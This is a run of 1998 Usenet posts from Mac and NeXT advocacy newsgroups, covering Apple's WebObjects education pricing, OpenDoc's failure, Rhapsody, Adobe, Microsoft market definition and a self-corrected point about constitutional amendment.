> bl003@dial.oleane.com (Benoit Leraillez) wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > > I'd like to take a look at the fine print for this offer though.
> > > >
> > > For heaven's sake -- what fine print do you need?!
> >
> > I'll rephrase the sentence in two ways that only the fine print can
> > decide which is the correct one:
> > 1 "...Apple is reinforcing its commitment to education by offering...
> > for (academic and university-related) (administrative use)..."
> > 2 "...Apple is reinforcing its commitment to education by offering...
> > for academic and (university-related administrative use)..."
> > Now do you understand the need for fine print? I hope tha N°2 is what
> > Apple meant, but it's N°1 I understood.
>
> I think you're inventing difficulties for yourself. Read the announcement:
>
> : "...Apple is reinforcing its commitment to education by offering
> : WebObjects Enterprise Developer version (v3.5) and WebObjects
> : Enterprise Unlimited Deployment to educational customers (student,
> : staff, faculty) for academic and university-related administrative
> : use for $99..."
>
> See the part where it says "student"? Now, tell me: what conceivable
> administrative use would a student have for this product? Clearly, none.
> Clearly, reading 2 is wrong by any reasonable parsing of this statement.
>
>
Whoa... Student Gov't? Campus Elections? These are "unreasonable"
administrative uses by students?
Reading 2 is viable... it needs to be clarified. Don't hold your breath. If
it is ambiguious? Apple wants to "decide"... they don't want to leave money
on the table.
-r
Rex Riley
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 04:13:34 GMT
Organization: @Home Network
Message-ID: <6h40he$rgu$2@ha2.rdc1.sdca.home.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com>
<6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com>
<6h2rnv$sek$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jrudd@cygnus.com
In <6h2rnv$sek$1@cronkite.cygnus.com> John Rudd wrote:
>
> My only gripes are why doesn't Apple make a deal with Cygnus instead of
> Metrowerks, and make the software 'freeware' (in the Gnu sense, not the
money
> sense)... but that's just my personal biases :-)
>
>
Amen... if Apple has the misfortune of dismissing "OpenSource" for their
"Future" OS I think they may miss the future altogether.
-r
Rex Riley
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 21:26:00 +0200
Organization: Completely Disorganized
Message-ID: <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> OpenDoc FAILED. Get it? Not enough people used it to justify its
> existence. The cross-platform capabilities never appeared, at least partly
> due to Apple's "partners".
>
> Most of what OpenDoc offered (cross-platform capabilities and modular
> software) are already present in Rhapsody.
Joe, that's bullshit and you ought to know it. OpenDoc failed regarding
adoption by end users? Well, Apple failed to push it onto the market as
soon as OpenDoc was in a state where this was possible. Any serious OD
marketing? Come on, you're pulling my leg.
And then there are people complaining Rhapsody/OpenStep never had been
marketed and therefore it would not be fair to -- whatever. Now, I don't
intend to stab Rhapsody in its back. Not at all. What I've dug into so
far I like a lot. I'd like it even better if it provided OpenDoc-like
support for a document-centric user experience.
Nevertheless, it's disingeneous to claim OpenDoc failed in the
marketplace. For how long has it even been marketed to end users?
An article on Stepwise,
"Bundle up for a warm reception" by Don Yacktman, Aug 25, 1997 (see
<http://www.stepwise.com/Articles/Technical/Bundles.html>), promises
that
<quote>
... an upcoming article will look at OpenDoc and its document-tools
architecture in more detail, including a plan by which a technology
resembling OpenDoc could be built relatively easily using OPENSTEP
bundles as a foundation.
</quote>
Did I miss it?
BTW, are there numbers of how many people have been using it and how
many people are using OpenStep or have been using OS half a year after
its introduction?
Michael, not exactly gruntled
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 14:44:32 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h32n0$k9f$1@nnrp1.dejanews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> <6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com> <6h21e2$oop$48@ironhorse.plsys.co.uk> <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com> <6h2tfn$b7b$1@nnrp1.dejanews.com>
spagiola@usa.net wrote:
> bl003@dial.oleane.com (Benoit Leraillez) wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > > I'd like to take a look at the fine print for this offer though.
> > > >
> > > For heaven's sake -- what fine print do you need?!
> >
> > I'll rephrase the sentence in two ways that only the fine print can
> > decide which is the correct one:
> > 1 "...Apple is reinforcing its commitment to education by offering...
> > for (academic and university-related) (administrative use)..."
> > 2 "...Apple is reinforcing its commitment to education by offering...
> > for academic and (university-related administrative use)..."
> > Now do you understand the need for fine print? I hope tha N°2 is what
> > Apple meant, but it's N°1 I understood.
>
> I think you're inventing difficulties for yourself. Read the announcement:
>
> : "...Apple is reinforcing its commitment to education by offering
> : WebObjects Enterprise Developer version (v3.5) and WebObjects
> : Enterprise Unlimited Deployment to educational customers (student,
> : staff, faculty) for academic and university-related administrative
> : use for $99..."
>
> See the part where it says "student"? Now, tell me: what conceivable
> administrative use would a student have for this product? Clearly, none.
> Clearly, reading 2 is wrong by any reasonable parsing of this statement.
Ooops, sorry to follow up my own post. I mean "reading _1_ is wrong" as the
context should make clear.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 19:47:35 GMT
Organization: Digital Fix Development
Message-ID: <6h32sn$4sn$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
In-Reply-To: <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
On 04/15/98, Michael Schuerig wrote:
<snip>
>Nevertheless, it's disingeneous to claim OpenDoc failed in the
>marketplace. For how long has it even been marketed to end users?
>
>
>An article on Stepwise,
>"Bundle up for a warm reception" by Don Yacktman, Aug 25, 1997 (see
><http://www.stepwise.com/Articles/Technical/Bundles.html>), promises
>that
>
><quote>
>.... an upcoming article will look at OpenDoc and its document-tools
>architecture in more detail, including a plan by which a technology
>resembling OpenDoc could be built relatively easily using OPENSTEP
>bundles as a foundation.
></quote>
>
>Did I miss it?
Nope.. its not done yet... contrary to the belief of some,
these things take time to write, and since the authors are not paid,
other things to date priority..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3534e321.0@206.25.228.5>
Date: 15 Apr 98 16:41:05 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> I suspect you invoked the Constitution out of a momentary lapse,
> rather than as a fundamental part of your argument. From where
> I stand, everything you have so far advocated stands in stark
> opposition to Constitutionalism. Unless, of course, when you say
> that "government 'meddling'...creat[ed] the property right of
> intellectual property", you consider the Constitution itself to
> be "government meddling". That would be strange, indeed, since
> British Common Law establishes property rights, not "government
> meddling" by any definition I've ever seen.
> [chuckle]
Wow, that seems a stretch. Last time I checked, constitutions were
the product of a government body. Last time I checked, only Congress
and the President in conjunction (barring a congressional override)
can change the constitution. Only those branches of the *government*
can and do amend the constitution. It's all government action.
At a certain point, *pure* libertarianism starts to sound like
anarchy. I don't believe *true* libertarianism abhors all government
action. They want to keep it to an absolute minimum. That includes
constitutions, changes to it, defense, and basic facilities to keep
order. I think there is such a reliance on government in
libertarianism, though a minimalist one, and that is what keeps it
from sliding down the slippery slope into anarchy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3534e1a1.0@206.25.228.5>
Date: 15 Apr 98 16:34:41 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> It would be nice if you could demonstrate that such a thing
> actually happens without a *regulated* monopoly. I've already
> stated that Microsoft's share of the software market hovers around
> 2%, according to Bill Gates. Like most arguments that preach
> political expediency in government action, yours seems to be
> based on fiction and pure supposition.
Relying on bgates for marketplace definition is like asking a thief
to define what constitutes an impermissible taking. I'm sure that
2% figure is based on a market definition of say *all* software.
Arguably, the more appropriate market definition is the productivity
suite, and operating system markets. I argue that the basis, i.e.
market definition, employed by bgates is an irrelevant one. A more
relevant market definition, like the examples I cite above, would
paint a different picture. In those, ms commands monopoly power.
Market definition is a loose game played in antitrust litigation
and is key to the outcome.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 21:32:31 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h391f$d69$1@jetsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net> <Yi4Z.42$p5.301070@news.itd.umich.edu>
In article <Yi4Z.42$p5.301070@news.itd.umich.edu>, <not@my.address.net> wrote:
>On 04/15/98, "Michael J. Peck" wrote:
>>
>>Utter nonsense. Practical socialism is not limited to income
>>distribution merely in levied taxes. Socialism can include industrial
>>subsidies, legislation protecting unions and strikes, and ultimately the
>>appropriation of entire industries into government bureaucracy.
>>
>
>This is irrelevant. Income redistribution was just an illustration. The
>point is that a commitment to the regulation of natural monopolies does not
>betray a commitment to Socialism. You could think that industrial
Isn't the *creation* of monopolies an act of socialist governments?
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 20:24:03 GMT
Organization: P & L Systems
Message-ID: <6h3513$9sp$3@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com>
<6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com>
<6gvkqu$oop$42@ironhorse.plsys.co.uk> <steve-1404981155220001@oranoco.discoverysoft.com>
<6h2cpk$iu6$1@nnrp1.dejanews.com> <steve-1504980955100001@oranoco.discoverysoft.com>
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Cc: steve@discoverysoft.com
In <steve-1504980955100001@oranoco.discoverysoft.com> Steven Fisher wrote:
> However, it should be noted
> that Microsoft developers got betas of Windows 98 long before the public
> beta.
>
And how much do we pay for that privilige...?
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 15 Apr 1998 16:40:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h360a$tiu$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <ant1512391cbLJLo@om107.acorn.co.uk>
In article <ant1512391cbLJLo@om107.acorn.co.uk>, Dave Griffiths <dgriffit@acorn.co.uk> wrote:
> In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
> <URL:mailto:rmcassid@uci.edu> wrote:
> > We have no sense of pride behind a good education
> You have a lot more than we do. One of the weirdest things about
> living in America was to see all these bumper stickers saying stuff
> like "My kid was swot of the month at Kissimmee High School". Any
> self-respecting Brit kid would DIE of embarrassement if his parents
> were ever so naff as to publically express their pride like that.
A lot of American kids would (and do), as well.. :) Somehow that
doesn't stop the parents (it never does)..
Most of those bumper stickers are "My child was is an honor student
at...", which I personally would never put on my car since it implies
that being an honor student at an American school is something worth
bragging about. :)
(Don't worry, lots of Americans think those bumper stickers are absurd,
too. I've seen one that goes, "My kid beat up your honor roll student".)
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 16 Apr 1998 05:06:18 GMT
Organization: Digital Fix Development
Message-ID: <6h43ka$fr8$1@news.digifix.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul>
In-Reply-To: <01bd6927$5321b180$24f0bfa8@davidsul>
On 04/15/98, "NeXT Newbie" wrote:
>Well if the statement that was made is untrue, all the better Some
>of the benefits of rhapsody would be greatly unused if Adobe didnt
>have its products out for Rhapsody. Yay, rhapsody is out with
>its great support for multi-processors. Oops, but their is no
>photoshop :P
If Photoshop doesn't port, there are other alternative apps..
Adobe has to watch itself with Photoshop... if it rests on its
laurels, that could hurt them badly..
>
>That would not be good. But doesnt adobe already have most of their
>products out for unix?
>
Having products for Unix isnt' the same as Rhapsody...
>
>> Thats not true Stephen..
>>
>> Adobe didn't make any sort of public statement of the type.
>
>True, as you clarify a formal statement was not made, yet what was
said was
>disheartening. Of course if its false all the better.
>
>> Some representative (unnamed) claimed that they weren't
>> looking at it in a MacWeek quote. Hardly a public statement of
>> direction from Adobe proper.
>>
>> Funny, but Adobe has sent folks to the Developer Kitchen for
>> training in recent history (say, the last 2 months) according to my
>> sources...
>What is the developer kitchen?
>
>
Apple's developer training class
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 16:39:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2nsv$fbp$7@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1r44$os8$4@ns3.vrx.net>
<6h2fe0$9ju$1@jetsam.uits.indiana.edu> <6h1vtt$os8$15@ns3.vrx.net>
<6h38hk$dv6$1@flotsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6h38hk$dv6$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> But as you've noted above, couldn't the company simply start charging for
> support?
Absolutely, and I've always thought it's a good idea to do so from day 1 in
order to avoid heartbreak later. However support is rarely a profit center,
typically being seen as a neccessary evil.
> I mean, what are businesses and consumers going to do about it,
> switch from Windows to MacOS or Linux because they have to pay $15 for
> every call they make to tech support?
Well that's the thing, users NEVER seem to consider this when making their
product choices - we learned this at our last job much to our surprise.
Either way though the overall cost of sales is no longer in any way
specifically tied to development - in fact development costs often remain
flat after initial growth spurts regardless of what else is going on. Other
cost factors become more important (putting the people in a room for
instance, DOA materials etc.) and I believe the industry average is that
something on the order of 20% to 30% of net income goes to development - and
here's the interesting part - regardless of the size of the company. Thus
the posit that more sales means better return does not appear to be true.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 05:07:31 GMT
Organization: Digital Fix Development
Message-ID: <6h43mj$fr9$1@news.digifix.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com>
In-Reply-To: <6h40he$rgu$2@ha2.rdc1.sdca.home.com>
On 04/15/98, Rex Riley wrote:
>In <6h2rnv$sek$1@cronkite.cygnus.com> John Rudd wrote:
>>
>> My only gripes are why doesn't Apple make a deal with Cygnus
instead of
>> Metrowerks, and make the software 'freeware' (in the Gnu sense, not
the
>money
>> sense)... but that's just my personal biases :-)
>>
>>
>
>Amen... if Apple has the misfortune of dismissing "OpenSource" for
their
>"Future" OS I think they may miss the future altogether.
Apple's deal with Metrowerks isn't anything like a deal with
Cygnus would be.
Apple's existing Mac OS developers have an almost manical
devotion to Metrowerks development environment.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 14:52:53 -0700
Organization: Trilithon Research and Trading
Message-ID: <35352C35.D0691B0E@trilithon.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net>
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George Graves wrote:
<<<< list of reasons snipped for brevity >>>>
7) Television. American kids spend an average of 30 hours
per week watching television.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <slrn6jad33.4a9.jason@jhste1.dyn.ml.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35359871.0@206.25.228.5>
Date: 16 Apr 98 05:34:41 GMT
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> John Kheit wrote:
> >Wow, that seems a stretch. Last time I checked, constitutions
> >were the product of a government body. Last time I checked,
> >only Congress and the President in conjunction (barring a
> >congressional override) can change the constitution. Only those
> >branches of the *government* can and do amend the constitution.
> Geez, what else are they teaching at your law school? Congress
> (or the States) may _propose_ amendments, and the States may
> ratify. The President has nothing to do with the process, at
> least not according to Article V of the Constitution.
Well, they're teaching the right stuff, it doesn't mean the students
are learning it %-) Jeez, I pretty much blew that big time. Aticle
V. is pretty clear on this:
Article. V. The Congress, whenever two thirds of both Houses shall
deem it necessary, shall propose _Amendments_ to this Constitution,
or, on the Application of the Legislatures of two thirds of the
several States, shall call a Convention for proposing Amendments,
which, in either Case, shall be valid to all Intents and Purposes,
as Part of this Constitution, when ratified by the Legislatures of
three fourths of the several States, or by Conventions in three
fourths thereof, as the one or the other Mode of Ratification may
be proposed by the Congress; Provided that no Amendment which may
be made prior to the Year One thousand eight hundred and eight
shall in any Manner affect the first and fourth Clauses in the
Ninth Section of the first Article; and that no State, without its
Consent, shall be deprived of its equal Suffrage in the Senate.
Clearly I was thinking about a legislative override of the president,
muddling that through with ordinary bill passage. This state of
delusion was brought to you at 1AM after an all nighter on a Patent
Office Action Response, during preperation for an LL.M. thesis
presentation and defense. The good news is the presentation went
well. But after reading my above monstrosity, I shudder at what
might be in the response! I better check that response, my god,
the horror, the horror. %-)
It's time for sleep. B-)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 06:00:19 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6h46pj$m6$1@new-news.cc.brandeis.edu>
References: <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-130498213606 <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
In article <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> schuerig@acm.org (Michael Schuerig) writes:
>0001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108>
<joe.ragosta-1504980821190001@wil34.dol.net>
>NNTP-Posting-Host: rhrz-isdn3-p13.rhrz.uni-bonn.de
>X-Newsreader: MacSOUP D-2.3
>Xref: new-news.cc.brandeis.edu comp.sys.mac.advocacy:95575 comp.sys.next.advocacy:28121
>
>Joe Ragosta <joe.ragosta@dol.net> wrote:
>
>> OpenDoc FAILED. Get it? Not enough people used it to justify its
>> existence. The cross-platform capabilities never appeared, at least partly
>> due to Apple's "partners".
>>
>> Most of what OpenDoc offered (cross-platform capabilities and modular
>> software) are already present in Rhapsody.
>
>Joe, that's bullshit and you ought to know it. OpenDoc failed regarding
>adoption by end users? Well, Apple failed to push it onto the market as
>soon as OpenDoc was in a state where this was possible. Any serious OD
>marketing? Come on, you're pulling my leg.
[other stuff deleted]
OpenDoc failed because Novell dropped the ball with OpenDoc for Windows
and IBM's OpenDoc for OS/2 didn't matter since x86 OS/2 puttered out and
OS/2 for PPC was stillborn. Fundamental to OpenDoc was its cross-platform
nature, as it was part of the CORBA consortium. OpenDoc was, after all,
the orphaned offspring of Pink and the IBM-Apple tango, and thus destined
never to receive any serious marketing attention. NOTHING out of that
partnership received serious marketting attention/investment from Apple or
IBM.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 15 Apr 1998 21:14:19 GMT
Organization: Hummingbird Heaven
Message-ID: <6h37vb$bh0@gap.cco.caltech.edu>
References: <6gvasb$1sr@gap.cco.caltech.edu> <B158F932-40B21@206.165.43.147>
Originator: shimpei@socrates.caltech.edu (Shimpei Yamashita)
Lawson English <english@primenet.com> writes:
>
>Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu> said:
>
>> A small nit to pick here: Hangul is the Korean phonetic alphabet. It
>> is not used at all in Chinese or Japanese. You're thinking of Hanzi
>> (Jpn. Kanji).
>
>Thanks, someone else already corrected me on this. Are there contextual
>issues with Hanzi/Kanji like there are with Hangul?
No, if the "contextual issues" you're talking about it how Hangul is
(IIRC, which isn't very reliable) a composite of multiple phoneme
symbols. Kanji characters are ideograms. You have to type them in
using the phonetic equivalent and have an FEP (front end program)
figure out what Kanji you meant to use, but after that, the character
stays static regardless of what comes before or after that.
--
Shimpei Yamashita <http://www.patnet.caltech.edu/%7Eshimpei/>
perl -w -e '$_="not a perl hacker\n";$q=qq;(.);x9;$qq=qq;345123h896789,;;;$s=
pack(qq;H6;,q;6a7573;);$qq=qq;s,^$q,$s$qq;;$qq=~s;(\d);\$$1;g;eval$qq;print;'
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 16:10:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2m5g$fbp$2@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1r8v$os8$5@ns3.vrx.net>
<6h2os9$t1h$1@crib.bevc.blacksburg.va.us> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6h353h$thn$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> (Out of curiosity, what do you think Linux has going for it that FreeBSD
> doesn't?)
Two things - market and mindshare, and EFS.
> Certainly -- but then you're directly up against Windows, and are no
> longer competing in the areas where Unix is making most of its resurgence.
Maybe maybe not. How many of those Linux boxes out there are run "part
time" along with Win on the same platform? How many are client use stations
rather than servers? Is that number worth Apple going after? Can they go
after it?
I'll bet that a good number of the client-side Linuxen out there are being
used co-timed with Win. If Apple can provide a "pretty good at both worlds"
solution, do you think it could work? Or is it doomed as another non-free
software product?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 16:12:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2m8m$fbp$3@ns3.vrx.net>
